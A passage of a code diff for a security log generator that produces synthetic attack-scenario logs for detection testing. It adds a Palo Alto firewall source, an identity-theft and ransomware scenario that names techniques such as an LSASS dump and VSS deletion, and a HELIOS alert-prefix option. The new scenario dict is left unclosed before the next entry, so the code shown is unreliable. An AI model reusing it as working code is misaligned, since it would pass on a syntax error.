print(f"⚠️ Failed to save: {path}: {e}") + return False + + if not _attempt_save(output_file): + pass diff --git a/Backend/scenarios/scenario_hec_sender.py b/Backend/scenarios/scenario_hec_sender.py index 766a8ed..4428e24 100644 --- a/Backend/scenarios/scenario_hec_sender.py +++ b/Backend/scenarios/scenario_hec_sender.py @@ -32,7 +32,7 @@ def __init__(self): "email_security": ["proofpoint", "mimecast", "microsoft_defender_email"], "identity": ["microsoft_azure_ad_signin"], "endpoint": ["crowdstrike_falcon"], - "network": ["darktrace"], + "network": ["darktrace", "paloalto_firewall"], "cloud": ["netskope", "microsoft_365_mgmt_api"], "privileged_access": ["cyberark_pas", "beyondtrust_passwordsafe"], "secrets": ["hashicorp_vault"], @@ -172,7 +172,9 @@ def _send_single_event(self, event: Dict, preserve_timestamp: bool = True) -> bo # Build raw event body from 'event' field (dict -> JSON, str -> as-is) payload = event.get('event', {}) - if isinstance(payload, dict): + if product == 'paloalto_firewall' and isinstance(payload, dict) and 'raw' in payload: + raw_event = str(payload['raw']) + elif isinstance(payload, dict): raw_event = json.dumps(payload, separators=(',', ':')) else: raw_event = str(payload) diff --git a/Frontend/log_generator_ui.py b/Frontend/log_generator_ui.py index e8f5d65..c40a5a8 100644 --- a/Frontend/log_generator_ui.py +++ b/Frontend/log_generator_ui.py @@ -383,8 +383,7 @@ def list_scenarios(): 'duration_minutes': 20, 'total_events': 24, 'phases': ['Phishing Delivery', 'Email Interaction', 'Brute Force'] - } - , + }, { 'id': 'hr_phishing_pdf_c2', 'name': 'HR Phishing PDF → PowerShell → Task → C2', @@ -394,6 +393,13 @@ def list_scenarios(): 'phases': ['Baseline', 'Phishing Delivery', 'Email Interaction', 'Download', 'Execution & Persistence', 'C2', 'Detection & Response'] }, { + 'id': 'identity_theft_ransomware', + 'name': 'Cross-Platform Identity Theft & Ransomware', + 'description': 'Advanced identity-led attack: esentutl.exe LOLBin credential theft, stolen OAuth refresh-token abuse through Okta, C2 via ScreenConnect/ngrok/AnyDesk, AD recon (SharpHound, ADRecon), LSASS dump + Okta privilege escalation, and ALPHV/BlackCat ransomware execution with VSS deletion.', + 'duration_minutes': 55, + 'total_events': 37, + 'data_sources': ['SentinelOne EDR', 'Okta Authentication', 'Palo Alto Firewall', 'Windows Event Logs'], + 'phases': ['Initial Access / Credential Theft', 'Command & Control', 'Endpoint Discovery & Staging', 'Credential & Privilege Abuse', 'Ransomware Preparation', 'Ransomware Execution / Impact'] 'id': 'tor_user', 'name': 'Tor User', 'description': 'Palo Alto firewall logs showing Tor usage (app=tor) followed by Okta authentication for the same user. Triggers Tor-usage detections with cross-source pivoting.', @@ -622,7 +628,7 @@ def run_correlation_scenario(): local_token = data.get('hec_token') overwrite_parser = data.get('overwrite_parser', False) suppress_alerts = data.get('suppress_alerts', False) - strip_helios_prefix = data.get('strip_helios_prefix', False) + include_helios_prefix = data.get('include_helios_prefix', False) if not scenario_id: return jsonify({'error': 'scenario_id is required'}), 400 @@ -778,6 +784,7 @@ def generate_and_stream(): # Map scenario IDs to files id_to_file = { 'apollo_ransomware_scenario': 'apollo_ransomware_scenario.py', + 'identity_theft_ransomware': 'identity_theft_ransomware_scenario.py', } filename = id_to_file.get(scenario_id, f"{scenario_id}.py") @@ -801,6 +808,7 @@ def generate_and_stream(): env['S1_TAG_TRACE'] = '1' if tag_trace else '0' if trace_id: env['S1_TRACE_ID'] = trace_id + env['SCENARIO_INCLUDE_HELIOS_PREFIX'] = 'true' if include_helios_prefix else 'false' # Pass UAM credentials for alert detonation if uam_ingest_url and uam_account_id and uam_service_token: @@ -831,9 +839,9 @@ def generate_and_stream(): yield "INFO: 🔇 Alert detonation suppressed by user\n" else: yield "INFO: 🚨 Alert detonation enabled (UAM credentials found)\n" - if strip_helios_prefix: - env['SCENARIO_STRIP_HELIOS_PREFIX'] = 'true' - yield "INFO: ✂️ HELIOS prefix will be stripped from alert titles\n" + env['SCENARIO_INCLUDE_HELIOS_PREFIX'] = 'true' if include_helios_prefix else 'false' + if include_helios_prefix: + yield "INFO: 🏷️ HELIOS prefix enabled for alert titles\n" else: yield "INFO: ⚠️ Alert detonation disabled (no UAM credentials on destination)\n" @@ -1016,6 +1024,7 @@ def run_scenario(): worker_count = int(data.get('workers', 10)) # Default 10 parallel workers tag_phase = data.get('tag_phase', True) tag_trace = data.get('tag_trace', True) + include_helios_prefix = data.get('include_helios_prefix', False) trace_id = (data.get('trace_id') or '').strip() generate_noise = data.get('generate_noise', False) noise_events_count = int(data.get('noise_events_count', 1200)) @@ -1193,6 +1202,7 @@ def generate_and_stream(): 'finance_mfa_fatigue_scenario': 'finance_mfa_fatigue_scenario.py', 'insider_cloud_download_exfiltration': 'insider_cloud_download_exfiltration.py', 'hr_phishing_pdf_c2': 'hr_phishing_pdf_c2_sender.py', + 'identity_theft_ransomware': 'identity_theft_ransomware_scenario.py', 'tor_user': 'tor_user_sender.py', } scenarios_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'Backend', 'scenarios')) @@ -1250,6 +1260,8 @@ def generate_and_stream(): except Exception as s1e: logger.warning(f"Could not resolve S1 API token: {s1e}") yield "INFO: 🚨 Alert detonation enabled (UAM credentials found)\n" + if include_helios_prefix: + yield "INFO: 🏷️ HELIOS prefix enabled for alert titles\n" else: yield "INFO: ⚠️ Alert detonation disabled (no UAM credentials on destination)\n" @@ -1336,7 +1348,7 @@ def should_output_line(line: str) -> bool: yield "INFO: Scenario generation complete\n" # If this scenario produces a JSON file, automatically replay it to HEC try: - if scenario_id in ['finance_mfa_fatigue_scenario', 'insider_cloud_download_exfiltration', 'attack_scenario_orchestrator']: + if scenario_id in ['finance_mfa_fatigue_scenario', 'insider_cloud_download_exfiltration', 'attack_scenario_orchestrator', 'identity_theft_ransomware']: from os import path output_dir = env.get('SCENARIO_OUTPUT_DIR', path.join(scenarios_dir, 'configs')) output_file = path.join(output_dir, f'{scenario_id}.json') diff --git a/Frontend/templates/log_generator.html b/Frontend/templates/log_generator.html index de592ca..13d98fd 100644 --- a/Frontend/templates/log_generator.html +++ b/Frontend/templates/log_generator.html @@ -451,6 +451,10 @@

Duration: +
+ Data Sources: +
    +
    Attack Phases:
      @@ -540,6 +544,17 @@

      +
      + Alert Options +
      + +

      When unchecked, scenario alerts use plain product-style titles by default.

      +
      +
      +
      @@ -2724,6 +2739,14 @@

      Select Parser Version

      } document.getElementById('scenario-duration').textContent = duration; + const dataSourcesList = document.getElementById('scenario-data-sources'); + dataSourcesList.innerHTML = ''; + (scenario.data_sources || []).forEach(source => { + const li = document.createElement('li'); + li.textContent = source; + dataSourcesList.appendChild(li); + }); + const phasesList = document.getElementById('scenario-phases'); phasesList.innerHTML = ''; (scenario.phases || []).forEach(phase => { @@ -2848,6 +2871,7 @@

      Select Parser Version

      // Parser options const overwriteParser = document.getElementById('scenario-overwrite-parser')?.checked || false; + const includeHeliosPrefix = document.getElementById('scenario-include-helios-prefix')?.checked || false; // Get local token if available let localToken = null; @@ -2870,6 +2894,7 @@

      Select Parser Version

      generate_noise: generateNoise, noise_events_count: noiseEventsCount, overwrite_parser: overwriteParser, + include_helios_prefix: includeHeliosPrefix, hec_token: localToken, // Pass local token if available debug_mode: debugMode // Pass debug mode for server-side filtering }), @@ -3503,7 +3528,7 @@

      Select Parser Version

      const tagTrace = document.getElementById('correlation-tag-trace').checked; const overwriteParser = document.getElementById('correlation-overwrite-parser').checked; const suppressAlerts = document.getElementById('correlation-suppress-alerts').checked; - const stripHeliosPrefix = document.getElementById('correlation-strip-helios-prefix').checked; + const includeHeliosPrefix = document.getElementById('correlation-include-helios-prefix').checked; let traceId = correlationTraceIdInput.value.trim(); if (tagTrace && !traceId) { @@ -3537,7 +3562,7 @@

      Select Parser Version

      trace_id: traceId, overwrite_parser: overwriteParser, suppress_alerts: suppressAlerts, - strip_helios_prefix: stripHeliosPrefix, + include_helios_prefix: includeHeliosPrefix, hec_token: localToken }) });